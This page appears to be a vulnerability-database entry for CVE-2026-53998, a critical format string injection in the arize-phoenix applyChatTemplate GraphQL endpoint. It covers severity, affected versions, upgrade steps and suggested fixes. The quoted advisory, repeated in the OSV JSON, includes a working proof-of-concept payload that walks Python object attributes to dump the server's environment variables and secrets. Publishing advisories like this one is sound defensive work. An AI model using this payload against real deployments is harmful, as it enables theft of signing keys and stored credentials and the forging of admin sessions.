Vulnerabilities in pkg:pypi/arize-phoenix

PACKAGE
Advisory Identifier: GHSA-gfv3-m769-5xm3
Advisory Summary

CVE-2026-53998 is a CRITICAL (CVSS 10.0) format string injection vulnerability (CWE-134: Use of Externally-Controlled Format String) affecting Phoenix libraries in the PyPI ecosystem. The issue involves format string injection in applychattemplate. Remediation is available by upgrading affected packages to version 15.7.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/arize-phoenix

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/arize-phoenix. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-gfv3-m769-5xm3 CVE-2026-53998 CRITICAL Phoenix: Format String Injection in applyChatTemplate

CVE-2026-53998 at a Glance

CVE Identifier CVE-2026-53998
GHSA Identifier GHSA-gfv3-m769-5xm3
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-134: Use of Externally-Controlled Format String
Affected Product Phoenix
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-53998

To remediate this vulnerability, upgrade all affected Phoenix dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

arize-phoenix fixed: 15.7.0
pip install arize-phoenix>=15.7.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show arize-phoenix

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-53998, inspect your installed packages using pip:

pip show arize-phoenix

Analyze the terminal output to locate any version of Phoenix in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 15.7.0), your application is affected.

Note: The pip show arize-phoenix command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-134: Use of Externally-Controlled Format String, where the product uses a function that accepts a format string as an argument, but the format string originates from an external source. In Phoenix, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

- Summary A format string injection vulnerability in the applyChatTemplate GraphQL endpoint allows an attacker to read server-side environment variables, cryptographic secrets, and internal module attributes directly from the API response. On default Phoenix installations where authentication is disabled the endpoint is reachable with no credentials. On auth-enabled deployments, any account regardless of privilege level is sufficient to exploit it. - Impact Server filesystem paths, loaded Python module names, and internal configuration constants are fully disclosed, an attacker with network access can read the full server `os.environ` including the admin credentials hardcoded in `phoenix.auth`. Successful exploitation allows an attacker to extract PHOENIX_SECRET, the master key used to sign all JWTs and derive the Fernet encryption key protecting stored credentials (LLM API keys, OAuth tokens). With this key, an attacker can forge admin-level session tokens and decrypt all secrets stored in the database. - Affected Versions First vulnerable release: arize-phoenix-v13.0.0 (2026-02-13) Latest confirmed vulnerable release: arize-phoenix-v14.8.0 (2026-04-17) - Affected Component `applyChatTemplate` GraphQL query endpoint (`src/phoenix/server/api/queries.py:1638`) `FStringTemplateFormatter._format()` template rendering function (`src/phoenix/utilities/template_formatters.py:272`) `DotDict.__getattr__()` ineffective attribute access control (`src/phoenix/utilities/template_formatters.py:90`) - Proof of Concept payload as txt with an image performing the exploit below. <img width="1574" height="766" alt="PoC-Phoenix" src="https://github.com/user-attachments/assets/55f56325-4c26-4c96-8aa9-89e44ff1ba53" /> - Payload: ``` { "query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }", "variables": { "t": { "messages": [{ "role": "USER", "content": [{ "text": { "text": "{u.__class__.__bases__[0].__init__.__globals__[_os].environ}" } }] }] }, "o": { "format": "F_STRING", "variables": { "u": { "x": 1 } } } } } ``` - Suggested Fix Three mitigations are recommended in combination: restrict attribute traversal at the Formatter.get_field() level (not the wrapper class), add IsAuthenticated permission to the applyChatTemplate resolver, and limit F_STRING format to trusted system-defined templates only. Best Regards, Omar

CVE-2026-53998 Affected Phoenix Versions

1 component(s)
Fixed Versions:
15.7.0
Product / Package Ecosystem Affected Versions Fixed Version
arize-phoenix
PyPI
≥ 13.0.0
< 15.7.0
15.7.0

References

Frequently Asked Questions

What is CVE-2026-53998?
CVE-2026-53998 is a security vulnerability in Phoenix involving Format String Injection in applyChatTemplate under CWE-134: Use of Externally-Controlled Format String.
Which Phoenix versions are affected?
Affected versions include releases prior to 15.7.0 across affected packages: arize-phoenix.
What version fixes CVE-2026-53998?
Upgrading to 15.7.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is arize-phoenix affected?
Yes, arize-phoenix is affected in releases prior to 15.7.0. Upgrade your dependency to 15.7.0 or later.
What is the CVSS score of CVE-2026-53998?
CVE-2026-53998 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L.
What CWE is associated with CVE-2026-53998?
CVE-2026-53998 is classified under CWE-134: Use of Externally-Controlled Format String (The product uses a function that accepts a format string as an argument, but the format string originates from an external source.).
How can I check PyPI dependencies for CVE-2026-53998?
Run the dependency tree command: 'pip show arize-phoenix'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gfv3-m769-5xm3",
  "modified" : "2026-11-17T20:02:29Z",
  "published" : "2026-11-17T20:02:29Z",
  "aliases" : [ "CVE-2026-53998" ],
  "summary" : "Phoenix: Format String Injection in applyChatTemplate",
  "details" : "- Summary\n\nA format string injection vulnerability in the applyChatTemplate GraphQL endpoint allows an attacker to read server-side environment variables, cryptographic secrets, and internal module attributes directly from the API response. On default Phoenix installations where authentication is disabled the endpoint is reachable with no credentials. On auth-enabled deployments, any account regardless of privilege level is sufficient to exploit it.\n\n- Impact\nServer filesystem paths, loaded Python module names, and internal configuration constants are fully disclosed, an attacker with network access can read the full server `os.environ` including the admin credentials hardcoded in `phoenix.auth`.\n\nSuccessful exploitation allows an attacker to extract PHOENIX_SECRET, the master key used to sign all JWTs and derive the Fernet encryption key protecting stored credentials (LLM API keys, OAuth tokens). With this key, an attacker can forge admin-level session tokens and decrypt all secrets stored in the database.\n\n- Affected Versions\n\nFirst vulnerable release: arize-phoenix-v13.0.0 (2026-02-13)\nLatest confirmed vulnerable release: arize-phoenix-v14.8.0 (2026-04-17)\n\n- Affected Component\n `applyChatTemplate` GraphQL query endpoint (`src/phoenix/server/api/queries.py:1638`)\n `FStringTemplateFormatter._format()` template rendering function (`src/phoenix/utilities/template_formatters.py:272`)\n `DotDict.__getattr__()` ineffective attribute access control (`src/phoenix/utilities/template_formatters.py:90`)\n\n- Proof of Concept\npayload as txt with an image performing the exploit below.\n<img width=\"1574\" height=\"766\" alt=\"PoC-Phoenix\" src=\"https://github.com/user-attachments/assets/55f56325-4c26-4c96-8aa9-89e44ff1ba53\" />\n- Payload:\n\n```\n{\n  \"query\": \"query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }\",\n  \"variables\": {\n    \"t\": { \"messages\": [{ \"role\": \"USER\", \"content\": [{ \"text\": { \"text\": \"{u.__class__.__bases__[0].__init__.__globals__[_os].environ}\" } }] }] },\n    \"o\": { \"format\": \"F_STRING\", \"variables\": { \"u\": { \"x\": 1 } } }\n  }\n}\n```\n\n\n- Suggested Fix\n\nThree mitigations are recommended in combination: restrict attribute traversal at the Formatter.get_field() level (not the wrapper class), add IsAuthenticated permission to the applyChatTemplate resolver, and limit F_STRING format to trusted system-defined templates only.\n\nBest Regards,\nOmar",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "arize-phoenix"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "13.0.0"
      }, {
        "fixed" : "15.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Arize-ai/phoenix/security/advisories/GHSA-gfv3-m769-5xm3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53998"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Arize-ai/phoenix/pull/13197"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Arize-ai/phoenix/commit/e7224a685589f2ffae1fefcc68ff210bd6ad28b8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Arize-ai/phoenix"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Arize-ai/phoenix/releases/tag/arize-phoenix-v15.7.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-134", "CWE-200" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-17T20:02:29Z",
    "nvd_published_at" : "2026-11-16T20:19:06Z"
  }
}